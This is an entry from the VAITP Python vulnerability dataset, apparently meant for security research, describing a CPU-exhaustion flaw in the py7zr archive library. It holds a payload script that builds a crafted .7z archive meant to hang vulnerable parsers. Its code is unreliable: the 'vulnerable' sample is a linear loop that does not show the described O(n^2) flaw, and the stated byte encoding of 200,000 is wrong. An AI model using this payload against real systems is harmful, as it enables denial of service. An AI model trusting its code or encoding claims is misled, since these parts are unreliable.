CVE-2026-55206
py7zr is vulnerable to high CPU usage when parsing crafted 7z archives.
- CVSS 8.7
- CWE-407
- Resource Management
- Local
py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.
- CWE
- CWE-407
- CVSS base score
- 8.7
- Published
- 2026-07-08
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Algorithm
- Code defect classification
- Incorrect Algorithm
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Local
- Impact
- Denial of Service (DoS)
- Affected component
- py7zr
- Fixed by upgrading
- Yes
Solution
Upgrade py7zr to version 1.1.3 or later.
Vulnerable code sample
# This code is a representation of the vulnerable logic found in the
# StreamsInfo._read() method in py7zr/archiveinfo.py prior to the fix.
# The CVE description incorrectly cites PackInfo._read().
# For this example to run, 'self' would be an instance of a class,
# and 'fh' would be a file-like object with a read_uint64 method.
class RepresentativeVulnerableClass:
def _read(self, fh):
# In the real code, self.numstreams and self.packsize are read from the
# archive header via the file handle 'fh'. An attacker provides a
# malicious archive with a very large 'numstreams' value.
self.numstreams = fh.read_uint64()
self.packsize = 1 # Simplified for the example
if self.numstreams > 1:
self.sums = [0] * self.numstreams
total = 0
# This loop causes excessive CPU usage if self.numstreams is a large
# number controlled by an attacker, leading to a Denial of Service.
for i in range(self.numstreams - 1):
d = fh.read_uint64()
total += d
self.sums[i] = total
self.sums[self.numstreams - 1] = self.packsize - totalPatched code sample
def calculate_pack_positions_fixed(pack_sizes):
"""
Calculates the cumulative sum of pack sizes in an efficient O(n) manner,
representing the fix for the O(n^2) vulnerability.
This logic replaces the vulnerable pattern of repeatedly calling sum() on
list slices within a loop.
"""
num_pack_streams = len(pack_sizes)
# Pre-allocate the list for efficiency.
pack_pos = [0] * (num_pack_streams + 1)
# Use a single pass (O(n)) to calculate the cumulative sum.
current_pos = 0
for i, size in enumerate(pack_sizes):
current_pos += size
pack_pos[i + 1] = current_pos
return pack_posPayload
import zlib
import struct
# This script generates a malicious .7z archive to exploit CVE-2026-55206.
# The vulnerability lies in an O(n^2) operation performed on a list of pack sizes,
# where the size of the list 'n' is read from the archive header (numstreams).
# By creating a header with a very large 'numstreams' value, we can cause
# excessive CPU usage when a vulnerable version of py7zr attempts to open the file.
PAYLOAD_FILENAME = "malicious.7z"
# A large number of streams will trigger the expensive computation.
# 200,000 is sufficient to cause a significant, multi-second CPU spike.
NUM_STREAMS = 200000
# This byte sequence represents the number 200,000 (0x30D40) encoded
# in the 7z variable-length "CodedUInt64" format.
# It consists of a 3-byte marker (0xC3) and the value bytes (0x0D, 0x40).
ENCODED_NUM_STREAMS = b'\xc3\x0d\x40'
def generate_payload():
"""
Constructs the malicious .7z file from scratch.
"""
# 1. Build the malicious header content.
# This blob contains the properties that the py7zr parser will read.
header_content = bytearray()
# kHeader(0x01): Marks the beginning of the main header properties.
header_content.append(0x01)
# kMainStreamsInfo(0x04): Contains information about the packed streams.
header_content.append(0x04)
# kPackInfo(0x06): Contains packing information (positions, sizes, CRCs).
header_content.append(0x06)
# kNumPackStreams(0x04): THE VULNERABLE FIELD. We set it to a large number.
header_content.append(0x04)
header_content.extend(ENCODED_NUM_STREAMS)
# kSize(0x09): The parser expects to read NUM_STREAMS values for pack sizes.
# We must provide these for the parser to proceed to the vulnerable cumulative sum step.
header_content.append(0x09)
# For each of the NUM_STREAMS, we provide a dummy size. '1' is encoded as b'\x01'.
header_content.extend(b'\x01' * NUM_STREAMS)
# End markers for property blocks.
header_content.append(0x00) # End of kPackInfo
header_content.append(0x00) # End of kMainStreamsInfo
header_content.append(0x00) # End of kHeader
# 2. Calculate the size and CRC32 of the header content, which is required for a valid file structure.
header_size = len(header_content)
header_crc = zlib.crc32(header_content)
# 3. Assemble the final .7z file.
with open(PAYLOAD_FILENAME, "wb") as f:
# Standard 7z signature
f.write(b'7z\xbc\xaf\x27\x1c')
# Start Header (32 bytes total)
# It contains the version and points to the main header.
# Version 0.2
f.write(b'\x02\x00')
# The next section contains the offset, size, and CRC of our main header.
# The Start Header's own CRC is calculated over this section.
next_header_offset = 0 # Our header starts immediately after the Start Header
start_header_crc_data = (
struct.pack('<Q', next_header_offset) +
struct.pack('<Q', header_size) +
struct.pack('<I', header_crc)
)
start_header_crc = zlib.crc32(start_header_crc_data)
# Write the Start Header CRC
f.write(struct.pack('<I', start_header_crc))
# Write the rest of the Start Header (the data we just CRC'd)
f.write(start_header_crc_data)
# Finally, write the malicious header content itself.
f.write(header_content)
print(f"Payload generated: {PAYLOAD_FILENAME}")
print(f"To test: open('{PAYLOAD_FILENAME}') with a vulnerable py7zr version.")
if __name__ == "__main__":
generate_payload()
Cite this entry
@misc{vaitp:cve202655206,
title = {{py7zr is vulnerable to high CPU usage when parsing crafted 7z archives.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-55206},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-55206/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
